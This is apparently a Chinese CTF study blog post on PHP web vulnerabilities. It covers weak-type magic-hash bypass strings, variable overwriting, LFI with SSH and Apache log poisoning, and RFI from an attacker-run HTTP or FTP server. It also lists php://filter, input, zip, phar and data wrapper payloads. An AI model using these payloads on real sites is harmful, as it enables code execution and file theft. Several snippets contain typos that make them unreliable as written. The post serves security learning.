web-PHP相关知识

ZJ Lv100

前言

这里会提供一些来自buuctf的案例,有需要还原的可以看我的博客的关于这一节的题目

参考题目目录

PHP的弱类型特征

强类型与弱类型

强类型语言——Python/Java等

弱类型语言——PHP/JavaScript等

强类型语言不会根据条件“随机应变”,而弱类型会

比如案例 '1'+1=?

对于强类型会直接报错,而对于弱类型来说会“随机应变”,以PHP来说,对于这类会将字符串转换位整型然后进行数字运算

1
'1test'->1;'test'->0

image-20240927010345310

若是拼接操作则会将所有类型转换位Str类型进行拼接

image-20240927010520867

弱类型漏洞原理

由于PHP的弱类型类型转换,当遇到1==‘admin’,当admin1test时,发生类型转换,则会判断条件成立

MD5、HASH加密相关漏洞利用

image-20240927011050400

1
2
3
4
5
<?php
$flag='test';
if(md5($_GET['pass']) == md5($_GET['test'])){
echo $flag;
}

漏洞条件

MD5
  1. 如果MD5值计算结果后开头为0e,则会被认为时科学计数法的先决条件
  2. 0e后面全为数字,例如 0e123==0e456,这样的条件就是成立的

对应上述的字符串有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#0e开头的md5()和原值
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

这些都是经过一次md5()就可以满足条件了的

image-20240927011543089

下面这些md5(mf5())的也需要了解(他们也满足md5())

可能不能得出结果,因为0e开头满足条件1但后面不全为数字,不满足条件2

1
2
3
4
5
6
7
8
9
10
11
12
#双md5结果仍是0e开头字符串大全
CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af

770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064

7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f

image-20240927012701739

MD4
  1. 哈希计算后结果开头为0e
  2. 后面全为数字

对应上述的字符串有

1
0e251288019
SHA1
  1. 哈希计算后结果开头为0e
  2. 后面全为数字

对应上述的字符串有

1
2
3
4
aa3OFF9m
aaO8zKZF
aaroZmOk
aaK1STfY

PHP变量覆盖漏洞*

这里提供一道练习题 我的WP

建议看完资料后去做一遍,确实是可以加强记忆和理解的

当出现

1
2
3
4
<?php
$cmd='hello';
//其他的能导致变量被覆盖的函数(略)
system($cmd);

一旦$cmd变量被覆盖为"whoami"时,就会出现严重的远程命令执行/命令注入漏洞

PHP变量覆盖

变量覆盖的方式
  1. 单纯的PHP语法导致变量覆盖

    1
    2
    3
    4
    5
    6
    <?php
    $a='hello';
    $b='world';
    $test=$a;
    $$test=$b;
    var_dump($hello);

    image-20240927013555117

    原理:$$test=$b实际为$$a=$b,也就是说$hello=$bb的值赋给了一个新被创造出来的hello变量,导致了不该被输出的world输出了

  2. PHP函数导致变量覆盖

    1
    2
    3
    4
    5
    6
    7
    <?php
    $a='hello';
    $b='world';
    extract([$a=>$b]);
    parse_str('hello'='world');
    mb_parse_str('hello'='world');
    import_request_variables("p",0);

    1.extract()

    extract() 函数从数组中将变量导入到当前的符号表。

    该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

    该函数返回成功设置的变量数目。

    1
    extract(array,extract_rules,prefix)

    eg:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    extract($_GET);

    echo $name.'<br>';
    echo $age.'<br>';
    echo $phone.'<br>';

    //GET传参:?name=xiaohua&age=22&phone=112323123

    //结果:
    // xiaohua
    // 22
    // 112323123
    ?>

    2.parse_str()

    parse_str() 函数把查询字符串解析到变量中。

    注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

    注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

    1
    parse_str(string,array)

    eg:

    1
    2
    3
    4
    5
    6
    7
    <?php
    parse_str("name=xiaohua&age=22");
    echo $name."<br>";
    echo $age;
    ?>
    //xiaohua
    //22

    3. import_request_variables()

    (PHP 4 >= 4.1.0, PHP 5 < 5.4.0)

    import_request_variables — 将 GET/POST/Cookie 变量导入到全局作用域中

    将 GET/POST/Cookie 变量导入到全局作用域中。如果你禁止了 register_globals ,但又想用到一些全局变量,那么此函数就很有用。

    1
    import_request_variables ( string $types [, string $prefix ] ) : bool

    eg:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    $num=0;
    //include 'flag.php';
    import_request_variables('gp'); //导入get和post中变量

    if($num=="xiaohua"){
    echo 'flag{ xiaohua-2020-3-28}';
    // echo $flag.php;
    }else{
    echo "NO!";
    }
    ?>

    //payload:http://127.0.0.1/test.php?num=xiaohua
    //flag{ xiaohua-2020-3-28}
  3. PHP配置项导致变量覆盖

register_globals:php.ini中的一个配置项,配置为true后传入GET/POST参数都会被赋值成变量

1
2
3
<?php
var_dump($hello);
//传入hello=world,最后输出world

PHP文件包含漏洞

常见文件包含函数

理清两个不同

  1. 有once只会包含一次,即使后续再次调用,也没用
  2. require包含文件遇到错误时,程序不会继续往下执行;include包含文件遇到错误时,程序会继续执行下去

本地文件包含漏洞

Local File Inclusion :LFI

所包含的文件为本地文件

这里的本地是对于服务器的本地,不是我们自己的电脑

通过传入参数来访问本地文件,/?file=flag.php

有价值的文件路径

1
2
3
4
5
/var/log/auth.log	#SSH 日志

/flag #CTF中的flag路径

/var/log/apache2/access.log #Apache日志
利用方法
  1. 利用文件上传漏洞,上传一句话执行文件并访问(例如在图片里插入phpinfo代码,将图片上传后访问图片地址)

    利用中间件日志文件,请求的时候将请求的payload写作可执行代码(例如?file=<? php phpinfo();?>),这时候这串指令以及保存到日志文件中了,访问Apache日志即可执行代码

    1
    cat /var/log/apache2/access.log
  2. 利用SSH日志文件,通过SSH连接到目标服务器

    1
    ssh '<? php phpinfo();?>'@HOST
  3. 执行后文件包含访问服务器

    1
    tail -n 6 /var/log/auth.log

若只能包含.php文件则要用到伪协议编码输出文件

远程文件包含漏洞

Remote File Inclusion :RFI

所包含的文件为远程文件

这里的远程是对于本地的,也就是相对于服务器以外的远程文件

利用前提

服务器的php配置项中allow_url_include=On

利用方法

可以利用的协议有HTTP、FTP、SMB、Webdav

HTTP远程文件包含

在自己或者其他的远程开启HTTP服务的服务器上,写入需要执行的PHP文件,传入参数?file=http://服务器IP/test.txt

FTP远程文件包含

在自己或者其他的远程开启FTP服务的服务器上,写入需要执行的PHP文件,传入参数?file=ftp://服务器IP/1

这里需要先用Python启动FTP服务(因人而异)

提供一个脚本

1
2
3
4
5
6
7
8
9
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer
authorizer=DummyAuthorizer()
handler=FTPHandler
handler.authorizer=authorizer
authorizer.add_anonymous('/tmp') #FTP目录
server-FTPServer(('0.0.0.0',21),handler)
server.serve_forerver()

然后再/tmp目录中编写php代码文件

PHP常见伪协议及其用法

1、php://input

可以获取POST的数据流

1
2
3
4
5
6
7
条件:
allow_url_include=On
allow_url_fopen-Off/On

POC:
file =php://input
POST:phpinfo();

2、php://filter

可以获取指定文件的源码,但是当他与包含函数结合是,php://filter流会被当做php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。

1
2
3
4
5
6
条件:
allow_url_fopen=Off/On
allow_url_include=Off/On

POC:
?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

过滤器介绍

在读取文件的时候当解析为php文件时会停止解析被保护,而过滤器可以通过编码将其以编码的形式暴露出来

Base64过滤器

1
php://filter/read=convert.base64-encode/resource=index.php

去除html和php标记过滤器

1
php://filter/string.strip_tags/resource=index.php

将内容转为大写

1
php://filter/string.toupper/resource=index.php

将内容转为小写

1
php://filter/string.tolower/resource=index.php

对字符串执行rot13变换

1
php://filter/read=string.rot13/resource=index.php

将字符串转化为8-bit字符串

1
php://filter/read=convert.quoted-printable-encode/resource=index.php

对字符串从UTF-8到UTF-7转换

1
php://filter/convert.iconv.utf-8.utf-7/resource=index.php

3、zip://

可以访问压缩包里的文件。当他与包含函数结合时,zip://流会被当做php文件执行。
从而实现任意文件执行。
同类型的还有:zlib:// 和bzip2://

1
2
3
4
5
6
7
8
9
条件:
必须要zip压缩包(后缀无所谓,文件格式是zip就行)。
allow_url_fopen=Off/On
allow_url_include=Off/On
php >=5.2

POC:
zip://[压缩包绝对路径]#[压缩包内的文件]
?file=zip://D:\zip.zip%23phpinfo.txt

4、phar://

和zip://类似
绝对路径和相对路径都可以

1
2
3
4
5
6
7
8
9
条件:
必须要zip压缩包(后缀无所谓,文件格式是zip就行)。
allow_url_fopen=Off/On
allow_url_include=Off/On
php >=5.2

POC:
zip://[压缩包绝对路径]#[压缩包内的文件]
?file=zip://D:\zip.zip/phpinfo.php(与zip://不同之处在于一个是# ,一个是/)

5、data://

同样类似于php://input

1
2
3
4
5
6
7
8
9
10
条件:
allow_url_fopen=On
allow_url_include=On

POC:
?file=data://,<?php phpinfo();
?file=data://text/plain,<php phpinfo();
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<php phpinfo();
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

PHP代码执行漏洞

漏洞函数

eval()

代码结尾用;结束

assert()

代码结尾不需要;结束

call_user_func()

参考文章

PHP中的变量覆盖漏洞

五种常见的php伪协议

  • Title: web-PHP相关知识
  • Author: ZJ
  • Created at : 2024-09-26 00:00:00
  • Updated at : 2025-01-17 01:49:10
  • Link: https://blog.overlordzj.cn/2024/09/26/ctf/data/web/PHP相关知识/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments